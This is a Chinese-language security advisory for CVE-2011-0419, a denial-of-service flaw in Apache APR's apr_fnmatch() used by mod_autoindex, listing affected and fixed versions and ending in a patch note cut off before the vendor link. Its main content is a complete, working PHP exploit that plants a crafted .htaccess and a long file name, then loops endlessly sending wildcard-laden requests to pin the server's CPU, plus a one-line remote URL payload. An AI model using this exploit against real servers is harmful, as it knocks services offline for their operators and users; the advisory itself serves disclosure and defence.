发布日期：2011-05-12
更新日期：2011-05-16
受影响系统：
NetBSD NetBSD 4.x
Apache Group Apache Software Foundation 2.x
Apache Group APR 1.4.3
Apache Group APR 1.4.2
不受影响系统：
Apache Group Apache Software Foundation 2.2.18
Apache Group APR 1.4.4
描述：
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BUGTRAQ ID: 47820
CVE ID: CVE-2011-0419
APR(Apache portable Run-time libraries，Apache可移植运行库)的目的如其名称一样，主要为上层的应用程序提供一个可以跨越多操作系统平台使用的底层支持接口库。
Apache APR "apr_fnmatch()"在实现上存在拒绝服务漏洞，远程攻击者可利用此漏洞造成拒绝服务。
<*来源：Maksymilian Arciemowicz （max@jestsuper.pl）
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?php
/*
Apache 2.2.17 mod_autoindex local/remote Denial of Service
author: Maksymilian Arciemowicz
CVE: CVE-2011-0419
CWE: CWE-399
REMOTE
Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.
[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]
LOCAL
Tested on:
127# httpd -v && uname -a
Server version: Apache/2.2.17 (Unix)
Server built: Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386
Result:
127# ls -la
total 8
drwxrwxrwx 2 root wheel 512 Feb 8 21:41 .
drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 ..
-rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess
-rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx.............................................................................................................................
-rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php
127# ps -aux -p 617
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start
Time = 121:43 and counting
where [$localhost]:[$localport]/[$localuri]
*/
$localhost="localhost";
$localport=80;
$localuri="/koniec/";
if(!is_writable(".")) die("!writable");
// Phase 1
// Create some filename
touch("cx".str_repeat(".",125));
// Phase 2
// Create .htaccess with
unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
fclose($htaccess);
// Phase 3
// Local connect (bypass firewall restriction)
while(1){
$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\n";
else {
$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
$out .= "Host: ".$localhost."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
}
?>
建议：
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厂商补丁：
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：